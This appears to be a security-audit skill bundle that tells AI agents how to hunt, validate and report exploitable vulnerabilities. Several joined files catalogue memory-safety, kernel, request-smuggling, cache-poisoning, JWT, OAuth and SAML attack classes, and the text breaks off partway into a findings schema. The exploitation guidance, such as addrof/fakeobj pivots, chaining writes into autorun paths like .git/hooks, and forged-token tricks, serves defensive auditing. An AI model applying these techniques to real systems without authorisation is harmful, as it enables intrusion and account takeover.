- **Wire-length into fixed stack buffer** — a function rebuilds a network/user blob into a fixed array using an attacker length field, with the bounds check missing/late or computed on the wrong headroom (a header pre-written into the buffer). Re-derive true headroom (size minus fixed prefix); confirm no guard precedes the copy.
**Temporal: use-after-free / lifetime**
- **Embedded waiter-anchor freed without draining** — a struct embeds a list head (`selinfo`/`knlist`/timer/knote) reachable by unprivileged poll/select/kqueue, and a free path destroys it but skips the drain a wakeup path does. For every `selrecord(&obj->x)`, require a matching drain on EACH path that can free `obj`.
- **Cached raw pointer + reallocating owner** — a view caches `base+offset`, a grow/realloc path moves the backing store, and the invalidation walks only the _current_ wrapper's view set while grow _replaces_ the wrapper. The original view dangles.
**Type confusion**
- **Read-and-write confusion → addrof/fakeobj** — a confusion that reads a pointer slot as a scalar (addrof) and writes a scalar into a pointer slot (fakeobj). The standard pivot of runtime/JIT exploitation; the prior art is about the PROBLEM CLASS (NaN-boxing, cached typed-array data pointer), not the specific target.
- **Hierarchical-walker leaf check skipped** — a page-table / nested / B-tree / extent walker checks the valid bit but not the leaf/size bit at level N, then descends treating an attacker-owned leaf as an interior node.
**Value: uninitialized & oracle**
- **Uninitialized worst-case buffer + observable compare = read oracle** — a buffer sized to a MAX constant is partially written, then compared against attacker bytes with an attacker-controlled compare length where match/no-match is observable. No memory-disclosure bug needed; the gap between actual output and MAX-size is the leak window. Brute one byte/connection, hint the structural bits, parallelize.
## Kernel & privileged-interface attack classes (subagent_type: `general`)
- **User-copy bounds + double-fetch (TOCTOU)** — a syscall/ioctl/Mach-trap entry whose user-copy primitive (`copyin` / `copy_from_user`) brings attacker memory in, then re-reads the SAME user address after a check. Any fact derived from concurrently-mutable user memory and trusted on a later pass is a double-fetch even when each op is individually correct.
- **Object lifecycle / UAF (IOKit/OSObject and friends)** — unbalanced retain/release on an externally-reachable object; a method that releases on one path but a sibling dispatch (compat/fallback/ptrace) forgot it. Diff the duplicated dispatch paths.
- **Unchecked downcast / type confusion**`OSDynamicCast` (or any tagged-union cast) whose result is used without a null check, or a selector/index into a dispatch table without a bounds check.
- **World-writable / under-permissioned powerful interface** — a device node, admin socket, or mgmt API exposed more broadly than its power, that validates the request SHAPE (index in range) but never the requester's AUTHORITY over the named resource. Danger = power × reachability; enumerate the surface reachable from the _actual_ untrusted context first.
- **Validate-then-act-on-stale-state** — a fast path and a compat/ptrace/fallback path to the same operation where one copy forgot a guard the other performs.
## Universal moves (apply across the above)
- **Audit the incomplete fix.** A targeted patch is a high-signal pointer to a dangerous sink with the analysis already done. Read the diff → find the exact sink it hardened → scan the same function, parallel paths, and alternate callers for the SAME tainted-data-to-sink shape the patch missed. Incomplete fixes are their own bug class.
- **Trust asymmetry between two ends of a protocol.** A filter/verification/size-cap installed on one side of a connection but missing on the symmetric call on the other. Find the protective call → grep its mirror on the opposite role → if absent, the earliest unprotected pre-auth parse is the prize. A malicious server/MITM is a real attacker.
- **Chain a weak primitive.** A blocked path means you haven't found the right pivot, not that it's unexploitable. Always ask "what does this actually let me do, and what runs automatically once I can put bytes on disk?" (plugin dirs, autoload, `.git/hooks`, `conftest.py`).
- **Hunt where the crowd isn't.** The tools researchers themselves trust — debuggers, disassemblers, scanners, dev tooling — are under-audited and high-impact. Old code and obscure formats are gold.
## Validation rules (apply before reporting ANY finding here)
1. **Build a debuggable target first.** Wire in crash dumps + a debugger before you claim exploitability. You can't iterate on what you can't observe.
2. **Read the offset from the crash, not the disassembly.** Send a cyclic (De Bruijn) pattern; the faulting register values give the exact offset. A variable-length prefix (handle, optional field, padding) shifts the geometry off the static prediction.
3. **Prove a UAF by reclaim-and-compare** when the sanitizer is blind (asm/JIT/intra-allocation): trigger the dangling view, reclaim the freed region with a size-matched content-controlled allocation, write through the dangler, read the reclaimer back — aliasing either way proves it.
4. **Distinguish crash from exploitable.** For an OOB write, map which bytes land where and whether a security-relevant field is reachable; for a "huge count," prove the bounded-write case before calling it DoS-only.
5. **Return ONLY confirmed findings** with the exact input → sink path and the observable result, or "No exploitable memory-safety issues found" if that's honest.
# Reconnaissance
### Phase 1: Understand the application
Before looking for bugs, understand what you're auditing. This requires depth, not just a directory listing. Launch **multiple `research` agents in parallel** to map different aspects of the codebase:
**Agent 1a: Overview, tech stack, and comparable baseline**
```
Explore the codebase at <path>. Answer:
1. What is this application? What kind of software? (web app, API, CLI tool, library, daemon, desktop app, mobile backend, etc.)
2. Who uses it and how? (end users, developers, operators, other services)
3. What's the tech stack? (languages, frameworks, databases, runtime, deployment model)
4. What comparable mainstream software exists? What security tradeoffs does the comparable accept?
5. What's the high-level directory structure?
Return specific file paths for key entry points.
```
**Agent 1b: Trust boundaries and access control**
```
Explore the codebase at <path>. Find and read ALL code related to:
1. Trust boundaries — where does untrusted input enter the system? (HTTP requests, CLI args, file reads, IPC, message queues, environment variables, config files, etc.)
2. Authentication — how do callers prove identity? (sessions, tokens, API keys, mTLS, Unix sockets, etc.) If there's no authentication, note that.
3. Authorization — how are permissions enforced? (middleware, decorators, capability checks, file permissions, etc.) If there's no authorization model, note that.
4. Privilege separation — does the code run as root? Drop privileges? Use sandboxing? Fork workers?
5. Any bypass mechanisms (dev-only modes, test helpers, setup flows, debug flags)
Return the trust model: who are the actors, what can each do by design, and which code enforces it. Include specific file paths and line numbers.
```
**Agent 1c: Input surface inventory**
```
Explore the codebase at <path>. Produce a complete inventory of where external input enters the system:
1. Network-facing surfaces (HTTP endpoints, gRPC services, WebSocket handlers, TCP/UDP listeners, etc.) — list each with method/verb and purpose
2. File-based input (file uploads, config file parsing, log ingestion, import/export, etc.)
3. IPC and inter-service input (message queues, shared memory, Unix sockets, environment variables, CLI arguments)
4. User-generated content surfaces (anywhere users provide content that is stored and later rendered, served, or processed)
5. External integrations (OAuth, webhooks, third-party APIs, plugin loading, dynamic code execution)
6. All places where input reaches dangerous sinks (SQL/query builders, HTML/template output, file paths, shell commands, deserialization, eval, dynamic imports)
Return specific file paths. Be exhaustive.
```
Collect all three agents' outputs and synthesize them into `<output-dir>/architecture.md`:
- 1-2 page structured summary covering application type, tech stack, trust model, input surfaces, and baseline comparable
- Include the key file paths from all agents — these become the starting points for Phase 2
- This document is injected verbatim into every Phase 2 agent prompt
If Phase 1 agents reveal the codebase is larger or more complex than expected (e.g., plugin system, multi-tenant architecture, complex auth chains, multiple deployment targets), launch additional `research` agents to map those areas before proceeding. The quality of Phase 2 depends entirely on the quality of Phase 1.
---
name: security-audit
description: Security audit of a codebase — web apps, APIs, services, CLI tools, libraries, daemons, and more. Use when asked to find security bugs, do a security review, audit for vulnerabilities, or pen-test the code. Focuses on exploitable issues with real impact, not theoretical concerns or industry-standard behavior.
---
# Security Audit
You are a security auditor. Your job is to find **exploitable vulnerabilities with real impact**.
## Platform terminology
This skill is agent-neutral. In the methodology:
- **Task tool** means the coding agent's delegation or sub-agent mechanism.
- **`research` agent** means a delegated agent optimized for focused codebase exploration and factual verification.
- **`general` agent** means a delegated agent that can investigate broadly and spawn focused research agents.
- **`subagent_type`** means the equivalent delegated-agent role supported by the current platform.
Use the platform's equivalent capabilities while preserving the specified roles, parallelism, prompts, and independence boundaries.
## Setup
Before starting, establish two paths:
- **Target**: the codebase to audit (from the user's request or the current working directory)
- **Output directory**: where all audit artifacts go. Ask the user if not specified, or default to `~/security-audit-skill/<repo-name>/run-<N>` where `<N>` is the next unused integer (check what exists with `ls`). Create it if it doesn't exist. This ensures multiple runs against the same repo produce separate results.
All files written during the audit go in the output directory:
- `architecture.md` — Phase 1 output, fed into Phase 2 agent prompts
- `REPORT.md` — human-readable report (Phase 4)
- `FINDINGS-DETAIL.md` — detailed data flows for MEDIUM+ findings (Phase 4)
- `findings.json` — machine-readable structured output (Phase 5)
Subagents (Phases 1, 2, 3, 6) do NOT write files — they return results to you via the Task tool. You are responsible for writing all files to the output directory.
### Coverage and prior runs
Each audit run explores different code paths depending on which agents find what and where they dig. No single run finds everything. Testing shows the best single run finds roughly half the total vulnerabilities across multiple runs.
**If prior runs exist** for the same repo (check `~/security-audit-skill/<repo-name>/`), read their `findings.json` files before starting Phase 2. Use them to:
1. **Skip known findings** — don't waste agents re-discovering the same status bypass. Mention prior findings in the report but focus hunting effort on new ground.
2. **Target gaps** — if prior runs focused heavily on injection and auth, weight this run toward business logic, creative attacks, and the wildcard agent. If prior runs missed public endpoints, focus there.
3. **Resolve disagreements** — if prior runs gave conflicting verdicts on the same finding, validate it definitively.
Include a brief summary of prior runs in the architecture summary so Phase 2 agents know what's already been found.
**If no prior runs exist**, note in the report that coverage improves with additional runs and recommend the user run the audit again to catch findings this run may have missed.
## Core Principles
### Only report what you can exploit
Every finding must have a concrete attack scenario: who is the attacker, what do they do, and what do they get? "An attacker could theoretically..." is not a finding. "Send this request, get this result" is.
### Confirm dynamically when you can
This is a source-first audit, but a claim you can execute beats one you can only argue. Where the target is locally buildable — a parser, a library, a CLI, a native component — build and run it: reproduce the crash, run the payload, diff the two parsers on the same bytes. Better still, **extract the suspect code into a minimal standalone harness** and test the hypothesis in isolation — fuzz the one function, feed it the crafted input, watch what it does. Where confirmation needs infrastructure you don't have — a proxy chain, a live cache, production auth — you cannot confirm from source alone: mark it "requires deployment testing" and do not report it as confirmed. Dynamic evidence is what resolves the memory-safety and request-framing classes that static reading leaves ambiguous.
### Determine the baseline dynamically
In Phase 1, identify what this application is and what comparable applications exist. Use those comparables to calibrate -- not to dismiss findings, but to focus effort. If the comparable has the same pattern and it's been exploited there, that's a STRONGER finding, not a weaker one. If the comparable has the same pattern and nobody's ever exploited it in 20 years, you should understand why before reporting it.
Do NOT hardcode a specific comparable. A CMS gets compared to other CMSes. An API gateway gets compared to other API gateways. A novel application may have no meaningful comparable.
### Defense-in-depth gaps are not vulnerabilities
If Layer A prevents the attack, the absence of Layer B is a hardening note, not a finding. Report it separately if you want, but do not inflate its severity.
### Severity requires impact
Severity is the combination of **likelihood** (how easy to exploit, what access is needed) and **impact** (what damage is achieved). Use both axes:
- **CRITICAL**: Unauthenticated RCE, full database dump, admin account takeover without credentials
- **HIGH**: Authenticated RCE, SQL injection with data exfiltration, stored XSS that fires for all users, auth bypass. Also: any finding where the RBAC/permission model is _completely_ defeated for an action — e.g., a user can perform an action that the system explicitly gates behind a higher role, and the action has real consequences (publishing content, deleting resources, modifying other users' data).
- **MEDIUM**: Targeted XSS requiring specific conditions, CSRF with meaningful state change, information disclosure of secrets/credentials. Also: business logic bypasses with real but limited consequences — e.g., the action is possible but requires authentication, or the impact is confined to the attacker's own data, or the bypass requires uncommon conditions.
- **LOW**: Information disclosure of non-secret data, DoS requiring sustained effort
- **INFORMATIONAL**: A confirmed but minimal-impact observation with no standalone exploit — useful mainly as a building block for another finding. Pure defense-in-depth gaps belong in hardening notes, not here.
The key distinction between HIGH and MEDIUM for business logic findings: **does the finding defeat an explicit security boundary?** Defeating one — acting past a role the system explicitly enforces — is HIGH; a data inconsistency, a finding that requires privileged access to exploit, or one with limited blast radius is MEDIUM.
If you cannot describe the concrete damage an attacker achieves, the severity is probably lower than you think.
These principles are enforced operationally by the **validation rules in [HUNTING.md](HUNTING.md)** — the canonical bar every hunter applies before reporting a finding, and that Phase 3 re-applies adversarially. The domain companion files add domain-specific checks on top of that bar; they do not replace it.
## Workflow overview
Follow all six phases in order:
1. **Recon** — Run Phase 1 from [RECONNAISSANCE.md](RECONNAISSANCE.md) to map the application's architecture, trust boundaries, and input surfaces.
2. **Hunt** — Use [HUNTING.md](HUNTING.md) for Phase 2 orchestration, methodology, and validation rules; select scopes from [ATTACK-CLASSES.md](ATTACK-CLASSES.md), which routes native, AI/LLM, HTTP-protocol/auth, and client-side targets to specialized companion files ([MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md), [AI-AND-LLM.md](AI-AND-LLM.md), [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md), [CLIENT-SIDE.md](CLIENT-SIDE.md)).
3. **Validate** — Use Phase 3 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to consolidate duplicates and independently try to disprove every finding.
4. **Report** — Use Phase 4 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to write `REPORT.md` and `FINDINGS-DETAIL.md`.
5. **Structured output** — Use Phase 5 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md), `report-schema.json`, and `validate-findings.cjs` to write and validate `findings.json`.
6. **Independent verification** — Use Phase 6 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to verify every factual claim and reconcile all outputs.
## Anti-Patterns to Avoid
These are the mistakes that make security audits useless:
1. **Listing everything that deviates from OWASP as a finding.** OWASP is a checklist, not a bug list. Every real application makes tradeoffs.
2. **Rating defense-in-depth gaps as HIGH/CRITICAL.** "Missing validateIdentifier where the query builder already quotes identifiers" is not HIGH severity.
3. **Ignoring the deployment model.** Rate limiting at the CDN layer is a valid architecture. Not every app needs application-level rate limiting.
4. **Treating designed behavior as a bug.** Understand the trust model before auditing. If the design says admins are fully trusted, admin-does-admin-things is not a finding.
5. **Padding the report with LOW findings to look thorough.** Ten LOWs don't make a useful report. Three MEDIUMs do.
6. **"Potential" findings without proof.** Either you can exploit it or you can't. If you need the word "potentially" or "theoretically", you haven't done enough research.
7. **Ignoring what the codebase does well.** If auth is solid, say so. It builds trust in the findings you DO report and helps the team prioritize.
8. **Constructing exploits from incorrect parser/runtime assumptions.** The most convincing false positives come from reasoning "the parser/runtime will interpret this as..." without verifying. If your exploit depends on parser or runtime behavior, cite the spec or test it. Don't assume.
9. **Skipping business logic and creative attacks.** The standard vulnerability classes (SQLi, XSS, SSRF) are what every scanner checks. The value of a manual audit is finding the things scanners can't: logic errors, state machine violations, chained attacks, implicit trust assumptions.
10. **Giving up too easily.** "The codebase uses parameterized queries so there's no SQL injection" is a lazy conclusion. Check EVERY use of sql.raw(). Check dynamic identifiers. Check search/FTS. Check if there's a code path that bypasses the query builder. Push.
# Validation, Reporting, and Verification
### Phase 3: Validate findings
Collect all findings from Phase 2 agents and **consolidate duplicates first**. Phase 2 deliberately overlaps agent scopes, so the same issue is frequently reported by more than one hunter — merge findings that share a root cause before validating, or you'll validate and report the same bug multiple times. For each remaining finding, launch a **separate `research` validation agent** that tries to disprove it. The hunting agents are biased toward finding things; the validation agents are biased toward killing false positives. This adversarial step is critical.
For findings from the same attack surface, batch them into one validation agent. Launch validation agents in parallel where they cover independent areas.
Each validation agent prompt should:
1. State the specific finding being validated (title, claimed attack, claimed impact)
2. Ask the agent to read the exact code paths and verify each step of the trace
3. Ask it to apply these tests (the adversarial, Phase 3 form of the canonical validation rules in [HUNTING.md](HUNTING.md) — here a separate agent tries to make each one fail):
**Validation tests:**
1. **Exploitation test**: Read the actual code at each step of the trace. Does the data flow work as claimed? Can you construct the exact input (HTTP request, CLI invocation, API call, crafted file, etc.) that triggers this?
2. **Impact test**: What does the attacker actually get? If the answer is "they learn field names" or "they cause an error", that's not meaningful impact — not a finding on its own (at most a building block for a chain).
3. **Baseline test**: Does the identified comparable have the same pattern? If yes, has it been exploited? If never exploited in years of production use, understand why before reporting.
4. **Mitigation test**: Is there another layer that prevents exploitation? Check middleware, database constraints, framework defaults.
5. **Parser/runtime behavior test**: If the exploit depends on how a parser or runtime handles specific input, verify against the actual spec or implementation — do not reason from intuition.
Tell each validation agent:
```
Your job is to DISPROVE this finding. Read the actual source code at every step. If you cannot disprove it, confirm it with the exact code that makes it exploitable. Return one of:
- "CONFIRMED: [explanation of why it's real, with code evidence]"
- "REJECTED: [explanation of what the finding got wrong, with code evidence]"
```
**Kill false positives aggressively, but don't kill real findings.** A short report with 3 real findings is worth more than a long report with 30 theoretical ones. An honest "nothing found" is valid — but push hard before reaching that conclusion.
### Phase 4: Report
Write the report to the output directory established in Setup.
**Output files:**
1. `REPORT.md` -- Main report with:
- One-paragraph executive summary (honest assessment of security posture)
- Identified baseline and how this application compares
- Findings table (severity, title, one-line description)
- Each finding with: file path, concrete attack scenario, impact, recommended fix
- Hardening notes section (defense-in-depth suggestions, NOT findings)
- Positive patterns section (what the codebase does well -- this calibrates trust in the audit)
2. `FINDINGS-DETAIL.md` -- For each finding rated MEDIUM or above:
- Complete data flow from input to sink with file:line references
- Exact HTTP request(s) to trigger
- What the attacker gets
- How the baseline comparable handles the same scenario
Keep it short. If the report is longer than the codebase deserves, you're padding.
### Phase 5: Structured output and schema check
For every finding that survived Phase 3 validation, produce a structured JSON object conforming to the schema defined in `report-schema.json` (in the same directory as this skill file — read it via the Read tool before writing output). Write the result to `<output-dir>/findings.json`.
The schema supports two verdict types via `oneOf`:
- **`confirmed`** — a validated vulnerability with full trace, execution, and remediation
- **`rejected`** — a finding that was investigated and determined to be factually incorrect
**Before writing `findings.json`:**
1. Read `report-schema.json` from this skill's directory. Follow it exactly — `additionalProperties: false` is enforced, so extra fields will make the output invalid.
2. For each finding, populate every required field. If you cannot fill `trace` with real file paths and line numbers verified against the source, the finding is not sufficiently verified — go back and verify it or reject it. Mind the required fields that aren't self-evident: `intended_behavior` (what the code is _supposed_ to do, so the defect is legible), `confidence` (`low`/`medium`/`high`, with a reason), and the `severity` object (`likelihood`/`impact`/`overall_severity`). All `severity` scores use the schema's **lowercase** enum — `informational`/`low`/`medium`/`high`/`critical`; the UPPERCASE tiers in SKILL.md and REPORT.md are prose labels, not valid JSON values.
3. Run `node <skill-dir>/validate-findings.cjs <output-dir>/findings.json` to validate. It checks required fields, enum values, structural constraints, and `additionalProperties`. This is a structural check only — it confirms the JSON conforms to the schema, not that the findings are correct. Factual verification is Phase 6's job. Fix any failures before proceeding.
### Phase 6: Independent verification
The structured output from Phase 5 forces self-validation, but the same agent that wrote the finding also wrote the JSON — it won't catch its own blind spots. This phase uses a fresh agent to independently verify every claim in `findings.json`.
Launch **one `research` agent per confirmed finding** via the Task tool, all in parallel. Each agent gets exactly one finding from `findings.json` and verifies it independently. Give each agent the JSON object for its finding and this prompt:
```
You are an independent verifier. You did NOT write this finding. Your job is to read the actual source code and verify that every factual claim is correct.
1. Read the file and line number cited in EVERY trace step. Verify:
- The file exists at that path
- The line number matches the described code
- The scope (function name) is correct
- The description accurately reflects what the code does
2. Verify the root_cause statement by reading the cited file and confirming the described defect exists.
3. Verify the execution payloads would actually work, in terms that fit the target:
- Does the entry point exist as claimed — the endpoint/URL, CLI command, exported function, syscall/ioctl, message handler, or tool the attacker invokes?
- Does the invocation match — HTTP method, argument shape, call signature, or message format?
- Would the input survive validation and parsing on the real code path?
- Would the relevant authentication, authorization, or ownership check pass as described?
4. Verify conditions are complete — are there prerequisites the finding missed?
5. Check the remediation code_changes — would the fix actually prevent the attack without breaking normal functionality?
6. Verify `intended_behavior` accurately states what the code should do, and that `confidence` matches the strength of the evidence — don't leave `high` on a claim you couldn't fully trace.
Return one of:
- "VERIFIED" — all claims checked out against the source
- "CORRECTED: [field]: [what was wrong] → [what it should be]" — factual error in a specific field
- "REJECTED: [reason]" — the finding is fundamentally wrong
```
Apply the agent's corrections:
- **VERIFIED** findings: no changes needed
- **CORRECTED** findings: update the specific fields in `findings.json`, re-run the schema validation script
- **REJECTED** findings: change their `verdict` to `"rejected"` with the agent's reason, or remove them entirely
After applying corrections, reconcile the prose deliverables: update `REPORT.md` and `FINDINGS-DETAIL.md` so they match the final `findings.json`. Remove or amend any finding the verification gate rejected or corrected — the human-readable report and the machine-readable output must not disagree.
This is the final quality gate. Do not skip it.
# HTTP-Protocol and Authentication Hunting
#### When to use this file
Reach for this file when the target speaks HTTP at a layer where parsing, caching, or identity decisions happen: reverse proxies, CDNs, API gateways, load balancers, custom HTTP servers and parsers, and any app that builds responses or URLs from request metadata — and whenever it implements or consumes an auth protocol (sessions, JWTs, OAuth/OIDC, SAML, or password-reset flows). These are the classes `ATTACK-CLASSES.md` treats only in passing: the injection class covers _content_, but not the request/response framing or the identity-token machinery, which have their own specific, high-hit-rate bug patterns.
Use alongside `ATTACK-CLASSES.md`. Access control there answers "is the check present and correct"; this file answers "can the attacker forge, replay, or confuse the identity the check runs on, or desync the request the check applies to."
Pick the relevant classes based on Phase 1; split per subsystem (framing/proxy layer, token verification, session store) for large targets. A pure single-server app behind a managed CDN has little smuggling surface; a custom proxy or a service that trusts `X-Forwarded-*` has a lot.
## Core discipline (include in every agent prompt for this domain)
```
- Framing bugs live in DISAGREEMENT, not in one parser. Request smuggling and cache poisoning exist because two components interpret the same bytes differently. Find the two components and the byte they disagree on; a single correct parser in isolation is not the finding.
- A signature you don't verify is decoration. For every token (JWT, SAML, cookie), find the exact line that verifies the signature AND the claims that apply to that token type (for JWT/OIDC: exp, aud, iss, nonce) — and that the algorithm is pinned server-side, not read from the token header. "It's signed" means nothing if nothing checks the signature with the right key and algorithm.
- Every use of Host, X-Forwarded-*, Forwarded, or a request-derived URL is a trust decision. Trace it to what it controls: a reset link, a cache key, a redirect, an access check.
- Reflected input in a security-relevant response field (Set-Cookie, Location, cache key, an absolute URL sent to a victim) — trace it to a cross-user impact (poisoned cache entry, redirect or token sent to a victim, cookie set in another context) even when it isn't classic XSS.
```
## HTTP request-framing attack classes (subagent_type: `general`)
**Request smuggling / desync**
A discrepancy in how two components (front proxy vs back-end, or HTTP/2 front vs HTTP/1.1 back) resolve message length. Classic forms: CL.TE, TE.CL, TE.TE (obfuscated `Transfer-Encoding`), and H2 downgrade (H2.CL / H2.TE) where an HTTP/2 front-end forwards to an HTTP/1.1 back-end and the injected `Content-Length`/`Transfer-Encoding` or CRLF in a header value survives. Audit angle: any component that parses HTTP messages itself, forwards requests, or normalizes headers. Look for lenient length handling (accepting both CL and TE, tolerating whitespace/casing/duplicates in `Transfer-Encoding`), and CRLF-in-header-value passthrough on the HTTP/2→1.1 hop. The prize is a request prefix that gets glued onto the _next_ user's request.
**Web cache poisoning (unkeyed input)**
An input influences the response but is not part of the cache key, so the attacker's response is stored and served to others. Find the cache key construction, then find every input that changes the response body/headers but is absent from that key — `X-Forwarded-Host`, `X-Forwarded-Scheme`, custom headers, cookies stripped from the key, or a query param the key normalizes away. Reflected unkeyed input that lands in the cached body (a poisoned script src, an `<base href>` from `X-Forwarded-Host`) is stored XSS against every cache consumer.
**Cache deception**
Path/extension confusion that makes a dynamic, per-user page get cached as if it were a static asset (`/account/profile.css`, `/api/me;.js`, path-parameter tricks). The back-end serves the user's private page; the cache stores it under a path the attacker can then request. Trace how the cache decides "is this cacheable" versus how the app routes the path — the gap is the bug.
**Host-header and forwarded-header trust**
`Host` / `X-Forwarded-Host` used to build absolute URLs, routing, or cache keys. The highest-impact sink is password-reset / verification link construction: attacker sets the header, the victim receives a link to the attacker's domain, clicks, and leaks the token. Also: authentication or routing decisions keyed on a spoofable forwarded header.
**CRLF / response header injection**
User input reflected into a response header (`Location`, `Set-Cookie`, custom headers) with unescaped CR/LF, letting the attacker inject headers or split the response. Trace user input into any header-setting call; confirm the framework doesn't already strip CR/LF (many do — verify first, see #5).
## Authentication-protocol attack classes (subagent_type: `general`)
First establish which role the target plays — it determines whose duty each control is. `redirect_uri` allowlisting, PKCE enforcement, authorization-code issuance, and assertion signing belong to the **authorization server / IdP**; a **relying-party client** legitimately sends its own `redirect_uri` and consumes tokens, so do not report "no `redirect_uri` allowlist" or "issues codes without PKCE" against a client. Token _verification_ defects (below) apply to whichever side validates the token.
**JWT verification defects**
The densest source of auth bypasses. Check, in the verification code:
- **`alg` confusion**`alg: none` accepted, or RS256→HS256 where the server verifies an attacker-forged HS256 token using the _public_ key as the HMAC secret. Find where the algorithm is chosen: is it taken from the token header (attacker-controlled) or pinned server-side?
- **Decode without verify** — code that reads claims from a decoded token but never calls the verify function, or ignores its return/exception.
- **Missing claim checks**`exp` (expiry), `nbf`, `aud` (audience — token for service A replayed at service B), `iss` (issuer). A signature check without claim checks is half a check.
- **Key-selection injection**`kid`, `jku`, or `x5u` header taken from the token: `kid` used in a file path (traversal) or SQL (injection) to fetch the key, or `jku` pointing at an attacker-hosted JWK Set / `x5u` at an attacker-hosted X.509 cert chain. Attacker names the key that verifies their own forgery.
- **Weak/shared secret** — HMAC secret that's a guessable string or shared across trust domains.
**OAuth / OIDC flow defects**
- **`redirect_uri` validation** — substring/prefix matching, open-redirect on an allowlisted host, or `redirect_uri` not bound to the client. Leaks the authorization code to the attacker.
- **Missing/weak `state`** — no CSRF token on the callback → login CSRF / forced-login / session fixation of the OAuth flow. (`state` is a session-binding/CSRF control; authorization-code injection is prevented by PKCE and the OIDC `nonce`, not by `state` — don't conflate them.) Confirm `state` is generated, bound to the session, and verified on return.
- **PKCE** — missing on public clients, or `code_verifier` not actually checked against `code_challenge`.
- **`id_token` validation** — audience, issuer, signature, and `nonce` all verified? A token minted for another client accepted here is account takeover.
- **Mix-up / IdP confusion** — multi-IdP flows where the response isn't bound to the IdP the request went to.
**SAML assertion defects**
- **Signature wrapping (XSW)** — a signed assertion plus an injected unsigned one; the verifier checks the signature on one element but reads identity from another. Find the gap between "what is signature-verified" and "what is read as the authenticated identity."
- **Signature exclusion** — unsigned assertions accepted, or signature verification skippable via a flag/empty-signature path.
- **XXE / DTD** in the XML parser processing assertions.
- **Comment truncation** — a comment inserted into the signed NameID (`admin@company.com<!---->.attacker.com`) that canonicalization strips before the signature check (so it still validates) but that truncates identity extraction to the pre-comment text (`admin@company.com`, the victim). Same root as XSW: the bytes the signature covers ≠ the bytes read as identity.
- **Missing replay / binding checks** — even with a valid signature, is the assertion bound and fresh? Check `NotBefore`/`NotOnOrAfter` (validity window), `Recipient`/`Audience` (assertion minted for _this_ SP, not replayed from another), `InResponseTo` (bound to a real outstanding request — blocks unsolicited-response injection), and one-time-use (a replayed assertion rejected). The signature checks above prove the assertion wasn't forged; these prove it wasn't stolen and replayed.
**Session-management defects**
- **Fixation** — session identifier not rotated on privilege change (login, step-up auth). Attacker fixes a known ID, victim authenticates into it.
- **Weak invalidation** — session/token still valid after logout, password change, or revocation; server-side state not cleared (especially stateless JWT sessions with no revocation list).
- **Predictable identifiers** (non-CSPRNG session IDs an attacker can guess/derive), or an overly broad cookie `Domain` that leaks the session cookie to an attacker-controlled sibling subdomain. (Bare "cookie could be shorter-lived" with no leakage path is a hardening note, not a finding.)
**Password-reset / account-recovery defects**
- Token not cryptographically bound to the user (reset A's token, use it on B), predictable/short token, no single-use or expiry, token leaked via `Host` header (see above) or `Referer`, or a race that mints multiple valid tokens. Recovery flows are frequently the weakest path to the strongest impact (account takeover).
## Universal moves (apply across the above)
- **Diff duplicated request paths side by side.** Where the code has more than one thing that parses or forwards HTTP (a middleware plus the framework, a normalizer plus the router, a legacy API version plus the current one), read them together and feed each the same ambiguous bytes on paper. Divergence is the smuggling/desync bug.
- **Walk the whole token lifecycle.** Issue → store → transmit → verify → refresh → revoke. The bugs live in the transitions the happy path skips: a session still valid after logout, a refresh that never re-checks revocation, a reset token that survives a password change.
- **Enumerate every door to the same identity.** SSO, password login, API key, password reset, impersonation — each is a parallel path that mints a session. The weakest one sets the account's real security; a hardened login means nothing if reset is trivial.
- **Audit the compat/fallback path.** A legacy endpoint version, a deprecated header, or a "for old clients" branch that skips a guard the main path added. Old auth code is where the reverted or forgotten check hides.
## Validation rules (apply before reporting ANY finding here)
1. **Source-visibility gate — this domain lives partly outside the repo.** Framing bugs (proxy chain), cache poisoning/deception (cache-key config), secret strength, and token entropy frequently depend on components, config, or values NOT in the audited tree. If confirming the bug requires a component/config/secret you cannot read, it is **unverifiable from source: flag it "requires deployment testing" and do NOT report it as a confirmed finding.** "Downgrade" is not enough — an unconfirmable HIGH reported as a MEDIUM is still a false positive.
2. **For framing/cache findings, name both components and the divergent parse.** "The Go net/http back-end accepts a bare-LF `Transfer-Encoding` that the front proxy treats as CL" — not "smuggling may be possible." A single server with no proxy in front has no smuggling surface. If you've confirmed only the in-repo half (the back-end genuinely mishandles a specific ambiguous input — bare-LF `Transfer-Encoding`, duplicate CL), record it as a lead with the exact bytes — "requires paired front-end testing" — a real observation, not a severity-rated finding.
3. **For token findings, cite the verification line and what it fails to check.** Point at the `verify`/`decode` call and the missing `alg` pin / `aud` check / signature step. A forged-token claim requires showing the server would accept the forgery, not just that JWTs are in use. Establish the client-vs-server role first — don't fault a client for controls the server owns.
4. **Prove the cross-user impact.** Show the payload reaching a victim's response (cache), request (smuggling), session (fixation), or inbox (reset link). Attacker-only effects are not findings: a `Host` header reflected into a self-referential link the victim never receives out-of-band is a hardening note; a `Host` header controlling a reset link emailed to the victim is a finding.
5. **Verify the framework AND the library default don't already handle it.** Many stacks strip CR/LF from headers, rotate sessions on login, and key caches on `Host` by default; JWT libraries increasingly reject `alg:none` and require an explicit algorithm list — check the library and version, and if you cannot determine the default, treat it as unverifiable rather than assuming it's vulnerable. Only report secret/RNG weakness when the code itself sets a hardcoded/short/derivable value or uses a non-CSPRNG. Confirm the specific defense is absent — do not report a gap the framework or library already closes.
6. **Return ONLY confirmed findings** with the divergent parse or the skipped verification step and the cross-user impact — or "No exploitable protocol/auth issues found" if that's honest.
{
"$comment": "Single source of truth for findings.json structure (see SKILL.md Phase 5). validate-findings.cjs reads this file directly and interprets it — there is no second copy of these rules to keep in sync.",
"output_schema": {
"oneOf": [
{
"type": "object",
"description": "Confirmed vulnerability — provide the complete, independently verified report.",
"properties": {
"verdict": {
"type": "string",
"const": "confirmed"
},
"title": {
"type": "string",
"description": "A concise, standard title for the vulnerability."
},
"description": {
"type": "string",
"description": "Comprehensive explanation of the vulnerability. Include any reproduction details (proof-of-concept input, configuration, observed output or crash) here."
},
"root_cause": {
"type": "string",
"description": "One sentence using the template: '[function_or_component] in [file] does not [missing action], allowing [consequence]'. MUST include the function/component name and file name where the defect exists."
},
"intended_behavior": {
"type": "string",
